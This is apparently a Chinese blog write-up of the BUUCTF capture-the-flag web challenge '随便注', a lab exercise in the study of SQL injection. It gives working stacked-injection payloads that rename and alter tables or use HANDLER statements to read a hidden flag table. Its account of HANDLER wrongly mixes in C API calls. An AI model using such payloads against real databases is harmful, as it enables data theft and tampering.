BUUCTF --Web--[强网杯2019]随便注

1 篇文章 0 订阅
1 篇文章 0 订阅

 

第一步:判断是否存在注入

由此可以判断存在SQL注入,接下来判断注入类型

可以判断出是字符型注入,且闭合方式为单引号闭合

第二步:判断字段数

 可以判断出字段数是2

第三步:开始注入

使用select发现,几乎常用的字段都被过滤了。这时可以利用堆叠注入测试一下:

发现是可以行得通的😀

稍稍回顾SQL注入的方法之一:堆叠注入

简单的说就是同时执行多条SQL语句,使用分号表示结束一条SQL语句。

因为过滤了常用函数,查询时可以使用Mysql 的show函数

show命令列出数据库、表、索引的内容,可以利用该函数查看mysql服务器的相关信息

show databases;     列出服务器可以访问的数据库

show tables;          列出数据库相关表名

show columns from tablename;    查询tablename表下的字段

 接下来爆出表名:

可以得到有两个表名:word,1919810931114514

然后查看表中的内容,得到flag信息

查看表words:1'; show columns from words;#

查看表1919810931114514:-1';show columns from 1919810931114514;#

输入语句时要注意这里使用的是反勾号(`)

拓展:在mysql中引号(')与反勾号(`)的区别:(在linux下不区分,但是在windows下区分)

引号主要用于对字符串的引用

反勾号主要用于对数据库、表、列、索引和别名的引用

   在words表中有2个字段:id、data

   在1919810931114514表中有1个字段:flag

这里要注意,在第二步,我们判断出有两个回显位,但是flag所在表中只有1个字段。我们不能用常规的方法读取,需要稍加变形。


姿势一:改表名

先将words表名改成其他名字(不做要求),然后将191表的名字改为words,将字段flag改为id,这样就可以用1' or 1=1#显示出flag

1';rename table words to word2;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE  words CHANGE flag data VARCHAR(100);#
-1'; show tables;#

 

1' or 1='1;#

 

 拓展一下alter:

  1. alter table  table_name add column_name type;//添加一个列
  2. alter table  table_name change column1,column2 type;//改列名
  3. alter table  table_name rename column1 to columns2 type;//改列名
  4. alter table  table_name drop column_name type;//删除一个列
  5. alter table  table_name alter column_name type;//改变列数据类型

姿势二:handle

MySQL中的handle是对关系数据库表中的数据进行操作的一种方式。

一个handle实际上就是一个在MySQL服务器上分配的内存对象,它包含有关某个MySQL表的信息。通过该handle,可以对表进行各种操作。

例如,要使用handle读取MySQL数据库表中的数据,可以首先使用mysql_stmt_init()创建handle,然后使用mysql_stmt_prepare()将SQL语句绑定到handle上以执行查询,最后使用mysql_stmt_fetch()通过handle读取数据。

这道题handle的方法:

1、打开表:HANDLER表名OPEN

2、查看数据:

3、关闭表:HANDLER表名 READ CLOSE; 

1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ next;HANDLER `1919810931114514` CLOSE;#

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值